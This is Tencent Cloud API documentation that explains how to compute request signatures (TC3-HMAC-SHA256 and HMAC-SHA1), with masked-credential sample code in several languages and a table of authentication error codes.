Ruby

```
# -*- coding: UTF-8 -*-
# require ruby>=2.3.0
require 'digest'
require 'json'
require 'time'
require 'openssl'

# Key Parameters
secret_id = 'AKID********************************'
secret_key = '********************************'

service = 'cvm'
host = 'cvm.tencentcloudapi.com'
endpoint = 'https://' + host
region = 'ap-guangzhou'
action = 'DescribeInstances'
version = '2017-03-12'
algorithm = 'TC3-HMAC-SHA256'
# timestamp = Time.now.to_i
timestamp = 1551113065
date = Time.at(timestamp).utc.strftime('%Y-%m-%d')

# ************* Step 1: Concatenate the CanonicalRequest string *************
http_request_method = 'POST'
canonical_uri = '/'
canonical_querystring = ''
```

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```
canonical_headers = "content-type:application/json; charset=utf-8\nhost:#{host}
\n"
signed_headers = 'content-type;host'
# params = { 'Limit' => 1, 'Filters' => [{ 'Name' => 'instance-name', 'Values' =>
['unnamed'] }] }
# payload = JSON.generate(params, { 'ascii_only' => true, 'space' => ' ' })
# json will generate in random order, to get specified result in example, we hard
-code it here.
payload = '{"Limit": 1, "Filters": [{"Values": ["unnamed"], "Name": "instance-nam
e"}]}'
hashed_request_payload = Digest::SHA256.hexdigest(payload)
canonical_request = [
http_request_method,
canonical_uri,
canonical_querystring,
canonical_headers,
signed_headers,
hashed_request_payload,
].join("\n")

puts canonical_request

# ************* Step 2: Concatenate the string to sign *************
credential_scope = date + '/' + service + '/' + 'tc3_request'
hashed_request_payload = Digest::SHA256.hexdigest(canonical_request)
string_to_sign = [
algorithm,
timestamp.to_s,
credential_scope,
hashed_request_payload,
].join("\n")
puts string_to_sign

# ************* Step 3: Calculate the Signature *************
digest = OpenSSL::Digest.new('sha256')
secret_date = OpenSSL::HMAC.digest(digest, 'TC3' + secret_key, date)
secret_service = OpenSSL::HMAC.digest(digest, secret_date, service)
secret_signing = OpenSSL::HMAC.digest(digest, secret_service, 'tc3_request')
signature = OpenSSL::HMAC.hexdigest(digest, secret_signing, string_to_sign)
puts signature

# ************* Step 4: Concatenate the Authorization *************
authorization = "#{algorithm} Credential=#{secret_id}/#{credential_scope}, Signed
Headers=#{signed_headers}, Signature=#{signature}"
puts authorization

puts 'curl -X POST ' + endpoint \
```

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```
+ ' -H "Authorization: ' + authorization + '"' \
+ ' -H "Content-Type: application/json; charset=utf-8"' \
+ ' -H "Host: ' + host + '"' \
+ ' -H "X-TC-Action: ' + action + '"' \
+ ' -H "X-TC-Timestamp: ' + timestamp.to_s + '"' \
+ ' -H "X-TC-Version: ' + version + '"' \
+ ' -H "X-TC-Region: ' + region + '"' \
+ " -d '" + payload + "'"
```

DotNet

```
using System;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Text;

public class Application
{
public static string SHA256Hex(string s)
{
using (SHA256 algo = SHA256.Create())
{
byte[] hashbytes = algo.ComputeHash(Encoding.UTF8.GetBytes(s));
StringBuilder builder = new StringBuilder();
for (int i = 0; i < hashbytes.Length; ++i)
{
builder.Append(hashbytes[i].ToString("x2"));
}
return builder.ToString();
}
}
public static byte[] HmacSHA256(byte[] key, byte[] msg)
{
using (HMACSHA256 mac = new HMACSHA256(key))
{
return mac.ComputeHash(msg);
}
}

public static Dictionary<String, String> BuildHeaders(string secretid,
string secretkey, string service, string endpoint, string region,
string action, string version, DateTime date, string requestPayload)
{
string datestr = date.ToString("yyyy-MM-dd");
DateTime startTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
long requestTimestamp = (long)Math.Round((date - startTime).TotalMilliseconds, Mi
```

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```
dpointRounding.AwayFromZero) / 1000;
// ************* Step 1: Concatenate the CanonicalRequest string *************
string algorithm = "TC3-HMAC-SHA256";
string httpRequestMethod = "POST";
string canonicalUri = "/";
string canonicalQueryString = "";
string contentType = "application/json";
string canonicalHeaders = "content-type:" + contentType + "; charset=utf-8\n" +
"host:" + endpoint + "\n";
string signedHeaders = "content-type;host";
string hashedRequestPayload = SHA256Hex(requestPayload);
string canonicalRequest = httpRequestMethod + "\n"
+ canonicalUri + "\n"
+ canonicalQueryString + "\n"
+ canonicalHeaders + "\n"
+ signedHeaders + "\n"
+ hashedRequestPayload;
Console.WriteLine(canonicalRequest);
Console.WriteLine("-----------------------------------");

// ************* Step 2: Concatenate the string to sign *************
string credentialScope = datestr + "/" + service + "/" + "tc3_request";
string hashedCanonicalRequest = SHA256Hex(canonicalRequest);
string stringToSign = algorithm + "\n" + requestTimestamp.ToString() + "\n" + cre
dentialScope + "\n" + hashedCanonicalRequest;
Console.WriteLine(stringToSign);
Console.WriteLine("-----------------------------------");

// ************* Step 3: Calculate the signature *************
byte[] tc3SecretKey = Encoding.UTF8.GetBytes("TC3" + secretkey);
byte[] secretDate = HmacSHA256(tc3SecretKey, Encoding.UTF8.GetBytes(datestr));
byte[] secretService = HmacSHA256(secretDate, Encoding.UTF8.GetBytes(service));
byte[] secretSigning = HmacSHA256(secretService, Encoding.UTF8.GetBytes("tc3_requ
est"));
byte[] signatureBytes = HmacSHA256(secretSigning, Encoding.UTF8.GetBytes(stringTo
Sign));
string signature = BitConverter.ToString(signatureBytes).Replace("-", "").ToLower
();
Console.WriteLine(signature);
Console.WriteLine("-----------------------------------");

// ************* Step 4: Concatenate the Authorization *************
string authorization = algorithm + " "
+ "Credential=" + secretid + "/" + credentialScope + ", "
+ "SignedHeaders=" + signedHeaders + ", "
+ "Signature=" + signature;
Console.WriteLine(authorization);
```

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```
Console.WriteLine("-----------------------------------");

Dictionary<string, string> headers = new Dictionary<string, string>();
headers.Add("Authorization", authorization);
headers.Add("Host", endpoint);
headers.Add("Content-Type", contentType + "; charset=utf-8");
headers.Add("X-TC-Timestamp", requestTimestamp.ToString());
headers.Add("X-TC-Version", version);
headers.Add("X-TC-Action", action);
headers.Add("X-TC-Region", region);
return headers;
}
public static void Main(string[] args)
{
// SecretID and SecretKey
string SECRET_ID = "AKID********************************";
string SECRET_KEY = "********************************";

string service = "cvm";
string endpoint = "cvm.tencentcloudapi.com";
string region = "ap-guangzhou";
string action = "DescribeInstances";
string version = "2017-03-12";

// The timestamp `2019-02-26 00:44:25` used here is only for reference. In a proj
ect, use the following parameter:
// DateTime date = DateTime.UtcNow;
// Enter the correct time zone. We recommend using UTC timestamp to avoid errors.
DateTime date = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc).AddSeconds
(1551113065);
string requestPayload = "{\"Limit\": 1, \"Filters\": [{\"Values\": [\"unnamed\"],
\"Name\": \"instance-name\"}]}";

Dictionary<string, string> headers = BuildHeaders(SECRET_ID, SECRET_KEY, service
, endpoint, region, action, version, date, requestPayload);

Console.WriteLine("POST https://cvm.tencentcloudapi.com");
foreach (KeyValuePair<string, string> kv in headers)
{
Console.WriteLine(kv.Key + ": " + kv.Value);
}
Console.WriteLine();
Console.WriteLine(requestPayload);
}
}
```

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NodeJS

```
const crypto = require('crypto');

function sha256(message, secret = '', encoding) {
const hmac = crypto.createHmac('sha256', secret)
return hmac.update(message).digest(encoding)
}
function getHash(message, encoding = 'hex') {
const hash = crypto.createHash('sha256')
return hash.update(message).digest(encoding)
}
function getDate(timestamp) {
const date = new Date(timestamp * 1000)
const year = date.getUTCFullYear()
const month = ('0' + (date.getUTCMonth() + 1)).slice(-2)
const day = ('0' + date.getUTCDate()).slice(-2)
return `${year}-${month}-${day}`
}
function main(){

const SECRET_ID = "AKID********************************"
const SECRET_KEY = "********************************"

const endpoint = "cvm.tencentcloudapi.com"
const service = "cvm"
const region = "ap-guangzhou"
const action = "DescribeInstances"
const version = "2017-03-12"
//const timestamp = getTime()
const timestamp = 1551113065
const date = getDate(timestamp)

// ************* Step 1: Concatenate the CanonicalRequest string *************
const signedHeaders = "content-type;host"

const payload = "{\"Limit\": 1, \"Filters\": [{\"Values\": [\"unnamed\"], \"Name
\": \"instance-name\"}]}"

const hashedRequestPayload = getHash(payload);
const httpRequestMethod = "POST"
const canonicalUri = "/"
const canonicalQueryString = ""
const canonicalHeaders = "content-type:application/json; charset=utf-8\n" + "hos
t:" + endpoint + "\n"

const canonicalRequest = httpRequestMethod + "\n"
```

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```
+ canonicalUri + "\n"
+ canonicalQueryString + "\n"
+ canonicalHeaders + "\n"
+ signedHeaders + "\n"
+ hashedRequestPayload
console.log(canonicalRequest)
console.log("----------------------------")

// ************* Step 2: Concatenate the string to sign *************
const algorithm = "TC3-HMAC-SHA256"
const hashedCanonicalRequest = getHash(canonicalRequest);
const credentialScope = date + "/" + service + "/" + "tc3_request"
const stringToSign = algorithm + "\n" +
timestamp + "\n" +
credentialScope + "\n" +
hashedCanonicalRequest
console.log(stringToSign)
console.log("----------------------------")

// ************* Step 3: Calculate the signature *************
const kDate = sha256(date, 'TC3' + SECRET_KEY)
const kService = sha256(service, kDate)
const kSigning = sha256('tc3_request', kService)
const signature = sha256(stringToSign, kSigning, 'hex')
console.log(signature)
console.log("----------------------------")

// ************* Step 4: Concatenate the Authorization *************
const authorization = algorithm + " " +
"Credential=" + SECRET_ID + "/" + credentialScope + ", " +
"SignedHeaders=" + signedHeaders + ", " +
"Signature=" + signature
console.log(authorization)
console.log("----------------------------")

const Call_Information = 'curl -X POST ' + "https://" + endpoint
+ ' -H "Authorization: ' + authorization + '"'
+ ' -H "Content-Type: application/json; charset=utf-8"'
+ ' -H "Host: ' + endpoint + '"'
+ ' -H "X-TC-Action: ' + action + '"'
+ ' -H "X-TC-Timestamp: ' + timestamp.toString() + '"'
+ ' -H "X-TC-Version: ' + version + '"'
+ ' -H "X-TC-Region: ' + region + '"'
+ " -d '" + payload + "'"
console.log(Call_Information)
}
main()
```

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C++

```
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stdio.h>
#include <time.h>
#include <openssl/sha.h>
#include <openssl/hmac.h>

using namespace std;

string get_data(int64_t &timestamp)
{
string utcDate;
char buff[20] = {0};
// time_t timenow;
struct tm sttime;
sttime = *gmtime(&timestamp);
strftime(buff, sizeof(buff), "%Y-%m-%d", &sttime);
utcDate = string(buff);
return utcDate;
}
string int2str(int64_t n)
{
std::stringstream ss;
ss << n;
return ss.str();
}
string sha256Hex(const string &str)
{
char buf[3];
unsigned char hash[SHA256_DIGEST_LENGTH];
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, str.c_str(), str.size());
SHA256_Final(hash, &sha256);
std::string NewString = "";
for(int i = 0; i < SHA256_DIGEST_LENGTH; i++)
{
snprintf(buf, sizeof(buf), "%02x", hash[i]);
NewString = NewString + buf;
}
return NewString;
```

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```
}
string HmacSha256(const string &key, const string &input)
{
unsigned char hash[32];

HMAC_CTX *h;
#if OPENSSL_VERSION_NUMBER < 0x10100000L
HMAC_CTX hmac;
HMAC_CTX_init(&hmac);
h = &hmac;
#else
h = HMAC_CTX_new();
#endif

HMAC_Init_ex(h, &key[0], key.length(), EVP_sha256(), NULL);
HMAC_Update(h, ( unsigned char* )&input[0], input.length());
unsigned int len = 32;
HMAC_Final(h, hash, &len);

#if OPENSSL_VERSION_NUMBER < 0x10100000L
HMAC_CTX_cleanup(h);
#else
HMAC_CTX_free(h);
#endif

std::stringstream ss;
ss << std::setfill('0');
for (int i = 0; i < len; i++)
{
ss << hash[i];
}

return (ss.str());
}
string HexEncode(const string &input)
{
static const char* const lut = "0123456789abcdef";
size_t len = input.length();

string output;
output.reserve(2 * len);
for (size_t i = 0; i < len; ++i)
{
const unsigned char c = input[i];
output.push_back(lut[c >> 4]);
output.push_back(lut[c & 15]);
}
```

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```
return output;
}

int main()
{
string SECRET_ID = "AKID********************************";
string SECRET_KEY = "********************************";

string service = "cvm";
string host = "cvm.tencentcloudapi.com";
string region = "ap-guangzhou";
string action = "DescribeInstances";
string version = "2017-03-12";
int64_t timestamp = 1551113065;
string date = get_data(timestamp);

// ************* Step 1: Concatenate the CanonicalRequest string *************
string httpRequestMethod = "POST";
string canonicalUri = "/";
string canonicalQueryString = "";
string canonicalHeaders = "content-type:application/json; charset=utf-8\nhost:" +
host + "\n";
string signedHeaders = "content-type;host";
string payload = "{\"Limit\": 1, \"Filters\": [{\"Values\": [\"unnamed\"], \"Name
\": \"instance-name\"}]}";
string hashedRequestPayload = sha256Hex(payload);
string canonicalRequest = httpRequestMethod + "\n" + canonicalUri + "\n" + canoni
calQueryString + "\n"
+ canonicalHeaders + "\n" + signedHeaders + "\n" + hashedRequestPayload;
cout << canonicalRequest << endl;
cout << "-----------------------" << endl;

// ************* Step 2: Concatenate the string to sign *************
string algorithm = "TC3-HMAC-SHA256";
string RequestTimestamp = int2str(timestamp);
string credentialScope = date + "/" + service + "/" + "tc3_request";
string hashedCanonicalRequest = sha256Hex(canonicalRequest);
string stringToSign = algorithm + "\n" + RequestTimestamp + "\n" + credentialScop
e + "\n" + hashedCanonicalRequest;
cout << stringToSign << endl;
cout << "-----------------------" << endl;

// ************* Step 3: Calculate the signature ***************
string kKey = "TC3" + SECRET_KEY;
string kDate = HmacSha256(kKey, date);
string kService = HmacSha256(kDate, service);
string kSigning = HmacSha256(kService, "tc3_request");
```

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```
string signature = HexEncode(HmacSha256(kSigning, stringToSign));
cout << signature << endl;
cout << "-----------------------" << endl;

// ************* Step 4: Concatenate the Authorization *************
string authorization = algorithm + " " + "Credential=" + SECRET_ID + "/" + creden
tialScope + ", "
+ "SignedHeaders=" + signedHeaders + ", " + "Signature=" + signature;
cout << authorization << endl;
cout << "-----------------------" << endl;

string headers = "curl -X POST https://" + host + "\n"
+ " -H \"Authorization: " + authorization + "\n"
+ " -H \"Content-Type: application/json; charset=utf-8\"" + "\n"
+ " -H \"Host: " + host + "\n"
+ " -H \"X-TC-Action: " + action + "\n"
+ " -H \"X-TC-Timestamp: " + RequestTimestamp + "\n"
+ " -H \"X-TC-Version: " + version + "\n"
+ " -H \"X-TC-Region: " + region + "\n"
+ " -d '" + payload;
cout << headers << endl;
return 0;
};
```

Signature Failure

The following situational error codes for signature failure may occur. Please resolve the errors accordingly.

Error Code	Description
AuthFailure.SignatureExpire	Signature expired. Timestamp and server time cannot differ by more than five minutes.
AuthFailure.SecretIdNotFound	The key does not exist. Please go to the console to check whether it is disabled or you copied fewer or more characters.
AuthFailure.SignatureFailure	Signature error. It is possible that the signature was calculated incorrectly, the signature does not match the content actually sent, or the SecretKey is incorrect.
AuthFailure.TokenFailure	Temporary certificate token error.
AuthFailure.InvalidSecretId	Invalid key (not a TencentCloud API key type).

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Signature

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Tencent Cloud API authenticates each access request, i.e. each request needs to include authentication information (Signature) in the common parameters to verify the identity of the requester.
The Signature is generated by the security credentials which include SecretId and SecretKey. If you don't have the security credentials yet, go to the TencentCloud API Key page to apply for them; otherwise, you cannot invoke the TencentCloud API.

1. Applying for Security Credentials

Before using the TencentCloud API for the first time, go to the TencentCloud API Key page to apply for security credentials.
Security credentials consist of SecretId and SecretKey:

- SecretId is used to identify the API requester.
- SecretKey is used to encrypt the signature string and verify it on the server.
- **You must keep your security credentials private and avoid disclosure.**

You can apply for the security credentials through the following steps:

1. Log in to the Tencent Cloud Console.
2. Go to the TencentCloud API Key page.
3. On the API Key Management page, click **Create Key** to create a SecretId/SecretKey pair.

Note: Each account can have up to two pairs of SecretId/SecretKey.

2. Generating a Signature

With the SecretId and SecretKey, a signature can be generated. The following describes how to generate a signature:

Assume that the SecretId and SecretKey are:

- SecretId: `AKID********************************`
- SecretKey: `********************************`

Note: This is just an example. For actual operations, please use your own SecretId and SecretKey.

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Take the Cloud Virtual Machine's request to view the instance list (DescribeInstances) as an example. When you invoke this API, the request parameters may be as follows:

Parameter name	Description	Parameter value
Action	Method name	DescribeInstances
SecretId	Key ID	`AKID********************************`
Timestamp	Current timestamp	1465185768
Nonce	Random positive integer	11886
Region	Region where the instance is located	ap-guangzhou
InstanceIds.0	ID of the instance to query	ins-09dx96dg
Offset	Offset	0
Limit	Allowed maximum output	20
Version	API version number	2017-03-12

2.1. Sorting Parameters

First, sort all the request parameters in an ascending lexicographical order (ASCII code) by their names. Notes: (1) Parameters are sorted by their names instead of their values; (2) The parameters are sorted based on ASCII code, not in an alphabetical order or by values. For example, InstanceIds.2 should be arranged after InstanceIds.12. You can complete the sorting process using a sorting function in a programming language, such as the ksort function in PHP. The parameters in the example are sorted as follows:

```
{
'Action' : 'DescribeInstances',
'InstanceIds.0' : 'ins-09dx96dg',
'Limit' : 20,
'Nonce' : 11886,
'Offset' : 0,
'Region' : 'ap-guangzhou',
'SecretId' : 'AKID********************************',
'Timestamp' : 1465185768,
'Version': '2017-03-12',
}
```

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When developing in another programming language, you can sort these sample parameters and it will work as long as you obtain the same results.

2.2. Concatenating a Request String

This step generates a request string.

Format the request parameters sorted in the previous step into the form of "parameter name"="parameter value". For example, for the Action parameter, its parameter name is "Action" and its parameter value is "DescribeInstances", so it will become Action=DescribeInstances after formatted.

Note: The "parameter value" is the original value but not the value after URL encoding.

Then, concatenate the formatted parameters with "&". The resulting request string is as follows:

```
Action=DescribeInstances&InstanceIds.0=ins-09dx96dg&Limit=20&Nonce=11886&Offset=0
&Region=ap-guangzhou&SecretId=AKID********************************&Timestamp=1465
185768&Version=2017-03-12
```

2.3. Concatenating the Signature Original String

This step generates a signature original string.

The signature original string consists of the following parameters:

1. HTTP method: POST and GET modes are supported, and GET is used here for the request. Please note that the method name should be in all capital letters.
2. Request server: the domain name of the request to view the list of instances (DescribeInstances) is cvm.tencentcloudapi.com. The actual request domain name varies by the module to which the API belongs. For more information, see the instructions of the specific API.
3. Request path: The request path in the current version of TencentCloud API is fixed to /.
4. Request string: the request string generated in the previous step.

The concatenation rule of the signature original string is: Request method + request host + request path + ? + request string

The concatenation result of the example is:

```
GETcvm.tencentcloudapi.com/?Action=DescribeInstances&InstanceIds.0=ins-09dx96dg&L
imit=20&Nonce=11886&Offset=0&Region=ap-guangzhou&SecretId=AKID******************
************&Timestamp=1465185768&Version=2017-03-12
```

2.4. Generating a Signature String

This step generates a signature string.

First, use the HMAC-SHA1 algorithm to sign the **signature original string** obtained in the previous step, and then

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encode the generated signature using Base64 to obtain the final signature.

The specific code is as follows with the PHP language being used as an example:

```
$secretKey = '*******************************';
$srcStr = 'GETcvm.tencentcloudapi.com/?Action=DescribeInstances&InstanceIds.0=ins
-09dx96dg&Limit=20&Nonce=11886&Offset=0&Region=ap-guangzhou&SecretId=AKID********
**********************&Timestamp=1465185768&Version=2017-03-12';
$signStr = base64_encode(hash_hmac('sha1', $srcStr, $secretKey, true));
echo $signStr;
```

The final signature is:

```
7RAM2xfNMO9EiVTNmPg06MRnCvQ=
```

When developing in another programming language, you can sign and verify the original in the example above and it works as long as you get the same results.

3. Encoding a Signature String

The generated signature string cannot be directly used as a request parameter and must be URL encoded.

For example, if the signature string generated in the previous step is 7RAM2xfNMO9EiVTNmPg06MRnCvQ=, the final signature string request parameter (Signature) is 7RAM2xfNMO9EiVTNmPg06MRnCvQ%3D, which will be used to generate the final request URL.

Note: If your request method is GET, or the request method is POST and the Content-Type is application/x-www-form-urlencoded, then all the request parameter values need to be URL encoded (except the parameter key and the symbol of =) when sending the request. Non-ASCII characters need to be encoded with UTF-8 before URL encoding.

Note: The network libraries of some programming languages automatically URL encode all parameters, in which case there is no need to URL encode the signature string; otherwise, two rounds of URL encoding will cause the signature to fail.

Note: Other parameter values also need to be encoded using RFC 3986. Use %XY in percent-encoding for special characters such as Chinese characters, where "X" and "Y" are hexadecimal characters (0-9 and uppercase A-F), and using lowercase will cause an error.

4. Signature Failure

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The following situational error codes for signature failure may occur. Please resolve the errors accordingly.

Error code	Error description
AuthFailure.SignatureExpire	The signature is expired
AuthFailure.SecretIdNotFound	The key does not exist
AuthFailure.SignatureFailure	Signature error
AuthFailure.TokenFailure	Token error
AuthFailure.InvalidSecretId	Invalid key (not a TencentCloud API key type)

5. Signature Demo

When calling API 3.0, you are recommended to use the corresponding Tencent Cloud SDK 3.0 which encapsulates the signature process, enabling you to focus on only the specific APIs provided by the product when developing. See SDK Center for more information. Currently, the following programming languages are supported:

- Python
- Java
- PHP
- Go
- NodeJS
- .NET

To further explain the signing process, we will use a programming language to implement the process described above. The request domain name, API and parameter values in the sample are used here. This goal of this example is only to provide additional clarification for the signature process, please see the SDK for actual usage.

The final output URL might be: `https://cvm.tencentcloudapi.com/?Action=DescribeInstances&InstanceIds.0=ins-09dx96dg&Limit=20&Nonce=11886&Offset=0&Region=ap-guangzhou&SecretId=AKID********************************&Signature=7RAM2xfNMO9EiVTNmPg06MRnCvQ%3D&Timestamp=1465185768&Version=2017-03-12` .

Note: The key in the example is fictitious, and the timestamp is not the current time of the system, so if this URL is opened in the browser or called using commands such as curl, an authentication error will be returned: Signature expired. In order to get a URL that can work properly, you need to replace the SecretId and SecretKey in the example with your real credentials and use the current time of the system as the Timestamp.

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Note: In the example below, even if you use the same programming language, the order of the parameters in the URL may be different for each execution. However, the order does not matter, as long as all the parameters are included in the URL and the signature is calculated correctly.

Note: The following code is only applicable to API 3.0. It cannot be directly used in other signature processes. Even with an older API, signature calculation errors may occur due to the differences in details. Please refer to the corresponding documentation.

Java

```
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.Random;
import java.util.TreeMap;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;

public class TencentCloudAPIDemo {
private final static String CHARSET = "UTF-8";

public static String sign(String s, String key, String method) throws Exception {
Mac mac = Mac.getInstance(method);
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(CHARSET), mac.getAlg
orithm());
mac.init(secretKeySpec);
byte[] hash = mac.doFinal(s.getBytes(CHARSET));
return DatatypeConverter.printBase64Binary(hash);
}

public static String getStringToSign(TreeMap<String, Object> params) {
StringBuilder s2s = new StringBuilder("GETcvm.tencentcloudapi.com/?");
// When signing, the parameters need to be sorted in lexicographical order. TreeM
ap is used here to guarantee the correct order.
for (String k : params.keySet()) {
s2s.append(k).append("=").append(params.get(k).toString()).append("&");
}
return s2s.toString().substring(0, s2s.length() - 1);
}

public static String getUrl(TreeMap<String, Object> params) throws UnsupportedEnc
odingException {
StringBuilder url = new StringBuilder("https://cvm.tencentcloudapi.com/?");
// There is no requirement for the order of the parameters in the actual request
URL.
for (String k : params.keySet()) {
```

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```
// The request string needs to be URL encoded. As the Key is all in English lette
rs, only the value is URL encoded here.
url.append(k).append("=").append(URLEncoder.encode(params.get(k).toString(), CHAR
SET)).append("&");
}
return url.toString().substring(0, url.length() - 1);
}

public static void main(String[] args) throws Exception {
TreeMap<String, Object> params = new TreeMap<String, Object>(); // TreeMap enable
s automatic sorting
// A random number should be used when actually calling, for example: params.put
("Nonce", new Random().nextInt(java.lang.Integer.MAX_VALUE));
params.put("Nonce", 11886); // Common parameter
// The current time of the system should be used when actually calling, for examp
le: params.put("Timestamp", System.currentTimeMillis() / 1000);
params.put("Timestamp", 1465185768); // Common parameter
params.put("SecretId", "AKID********************************"); // Common paramet
er
params.put("Action", "DescribeInstances"); // Common parameter
params.put("Version", "2017-03-12"); // Common parameter
params.put("Region", "ap-guangzhou"); // Common parameter
params.put("Limit", 20); // Business parameter
params.put("Offset", 0); // Business parameter
params.put("InstanceIds.0", "ins-09dx96dg"); // Business parameter
params.put("Signature", sign(getStringToSign(params), "************************
******", "HmacSHA1")); // Common parameter
System.out.println(getUrl(params));
}
}
```

Python

Note: If running in a Python 2 environment, the following requests dependency package must be installed first: `pip install requests`.

```
# -*- coding: utf8 -*-
import base64
import hashlib
import hmac
import time

import requests

secret_id = "AKID********************************"
secret_key = "********************************"
```

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```
def get_string_to_sign(method, endpoint, params):
s = method + endpoint + "/?"
query_str = "&".join("%s=%s" % (k, params[k]) for k in sorted(params))
return s + query_str

def sign_str(key, s, method):
hmac_str = hmac.new(key.encode("utf8"), s.encode("utf8"), method).digest()
return base64.b64encode(hmac_str)

if __name__ == '__main__':
endpoint = "cvm.tencentcloudapi.com"
data = {
'Action' : 'DescribeInstances',
'InstanceIds.0' : 'ins-09dx96dg',
'Limit' : 20,
'Nonce' : 11886,
'Offset' : 0,
'Region' : 'ap-guangzhou',
'SecretId' : secret_id,
'Timestamp' : 1465185768, # int(time.time())
'Version': '2017-03-12'
}
s = get_string_to_sign("GET", endpoint, data)
data["Signature"] = sign_str(secret_key, s, hashlib.sha1)
print(data["Signature"])
# An actual invocation would occur here, which may incur fees after success
# resp = requests.get("https://" + endpoint, params=data)
# print(resp.url)
```

Golang

```
package main

import (
"bytes"
"crypto/hmac"
"crypto/sha1"
"encoding/base64"
"fmt"
"sort"
)

func main() {
secretId := "AKID********************************"
secretKey := "********************************"
```

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```
params := map[string]string{
"Nonce": "11886",
"Timestamp": "1465185768",
"Region": "ap-guangzhou",
"SecretId": secretId,
"Version": "2017-03-12",
"Action": "DescribeInstances",
"InstanceIds.0": "ins-09dx96dg",
"Limit": "20",
"Offset": "0",
}

var buf bytes.Buffer
buf.WriteString("GET")
buf.WriteString("cvm.tencentcloudapi.com")
buf.WriteString("/")
buf.WriteString("?")

// sort keys by ascii asc order
keys := make([]string, 0, len(params))
for k, _ := range params {
keys = append(keys, k)
}
sort.Strings(keys)

for i := range keys {
k := keys[i]
buf.WriteString(k)
buf.WriteString("=")
buf.WriteString(params[k])
buf.WriteString("&")
}
buf.Truncate(buf.Len() - 1)

hashed := hmac.New(sha1.New, []byte(secretKey))
hashed.Write(buf.Bytes())

fmt.Println(base64.StdEncoding.EncodeToString(hashed.Sum(nil)))
}
```

PHP

```
<?php
$secretId = "AKID********************************";
$secretKey = "********************************";
$param["Nonce"] = 11886;//rand();
```

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```
$param["Timestamp"] = 1465185768;//time();
$param["Region"] = "ap-guangzhou";
$param["SecretId"] = $secretId;
$param["Version"] = "2017-03-12";
$param["Action"] = "DescribeInstances";
$param["InstanceIds.0"] = "ins-09dx96dg";
$param["Limit"] = 20;
$param["Offset"] = 0;

ksort($param);

$signStr = "GETcvm.tencentcloudapi.com/?";
foreach ( $param as $key => $value ) {
$signStr = $signStr . $key . "=" . $value . "&";
}
$signStr = substr($signStr, 0, -1);

$signature = base64_encode(hash_hmac("sha1", $signStr, $secretKey, true));
echo $signature.PHP_EOL;
// need to install and enable curl extension in php.ini
// $param["Signature"] = $signature;
// $url = "https://cvm.tencentcloudapi.com/?".http_build_query($param);
// echo $url.PHP_EOL;
// $ch = curl_init();
// curl_setopt($ch, CURLOPT_URL, $url);
// $output = curl_exec($ch);
// curl_close($ch);
// echo json_decode($output);
```

Ruby

```
# -*- coding: UTF-8 -*-
# require ruby>=2.3.0
require 'time'
require 'openssl'
require 'base64'

secret_id = "AKID********************************"
secret_key = "********************************"

method = 'GET'
endpoint = 'cvm.tencentcloudapi.com'
data = {
'Action' => 'DescribeInstances',
'InstanceIds.0' => 'ins-09dx96dg',
'Limit' => 20,
```

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```
'Nonce' => 11886,
'Offset' => 0,
'Region' => 'ap-guangzhou',
'SecretId' => secret_id,
'Timestamp' => 1465185768, # Time.now.to_i
'Version' => '2017-03-12',
}
sign = method + endpoint + '/?'
params = []
data.sort.each do |item|
params << "#{item[0]}=#{item[1]}"
end
sign += params.join('&')
digest = OpenSSL::Digest.new('sha1')
data['Signature'] = Base64.encode64(OpenSSL::HMAC.digest(digest, secret_key, sig
n))
puts data['Signature']

# require 'net/http'
# uri = URI('https://' + endpoint)
# uri.query = URI.encode_www_form(data)
# p uri
# res = Net::HTTP.get_response(uri)
# puts res.body
```

DotNet

```
using System;
using System.Collections.Generic;
using System.Net;
using System.Security.Cryptography;
using System.Text;

public class Application {
public static string Sign(string signKey, string secret)
{
string signRet = string.Empty;
using (HMACSHA1 mac = new HMACSHA1(Encoding.UTF8.GetBytes(signKey)))
{
byte[] hash = mac.ComputeHash(Encoding.UTF8.GetBytes(secret));
signRet = Convert.ToBase64String(hash);
}
return signRet;
}
public static string MakeSignPlainText(SortedDictionary<string, string> requestPa
rams, string requestMethod, string requestHost, string requestPath)
```

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```
{
string retStr = "";
retStr += requestMethod;
retStr += requestHost;
retStr += requestPath;
retStr += "?";
string v = "";
foreach (string key in requestParams.Keys)
{
v += string.Format("{0}={1}&", key, requestParams[key]);
}
retStr += v.TrimEnd('&');
return retStr;
}

public static void Main(string[] args)
{
string SECRET_ID = "AKID********************************";
string SECRET_KEY = "********************************";

string endpoint = "cvm.tencentcloudapi.com";
string region = "ap-guangzhou";
string action = "DescribeInstances";
string version = "2017-03-12";
double RequestTimestamp = 1465185768;
// long timestamp = ToTimestamp() / 1000;
// string requestTimestamp = timestamp.ToString();
Dictionary<string, string> param = new Dictionary<string, string>();
param.Add("Limit", "20");
param.Add("Offset", "0");
param.Add("InstanceIds.0", "ins-09dx96dg");
param.Add("Action", action);
param.Add("Nonce", "11886");
// param.Add("Nonce", Math.Abs(new Random().Next()).ToString());

param.Add("Timestamp", RequestTimestamp.ToString());
param.Add("Version", version);

param.Add("SecretId", SECRET_ID);
param.Add("Region", region);
SortedDictionary<string, string> headers = new SortedDictionary<string, string>(p
aram, StringComparer.Ordinal);
string sigInParam = MakeSignPlainText(headers, "GET", endpoint, "/");
Console.WriteLine(sigInParam);
string sigOutParam = Sign(SECRET_KEY, sigInParam);
```

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```
Console.WriteLine("GET https://cvm.tencentcloudapi.com");
foreach (KeyValuePair<string, string> kv in headers)
{
Console.WriteLine(kv.Key + ": " + kv.Value);
}
Console.WriteLine("Signature" + ": " + WebUtility.UrlEncode(sigOutParam));
Console.WriteLine();

string result = "https://cvm.tencentcloudapi.com/?";
foreach (KeyValuePair<string, string> kv in headers)
{
result += WebUtility.UrlEncode(kv.Key) + "=" + WebUtility.UrlEncode(kv.Value) +
"&";
}
result += WebUtility.UrlEncode("Signature") + "=" + WebUtility.UrlEncode(sigOutPa
ram);
Console.WriteLine("GET " + result);
}
}
```

NodeJS

```
const crypto = require('crypto');

function get_req_url(params, endpoint){
params['Signature'] = escape(params['Signature']);
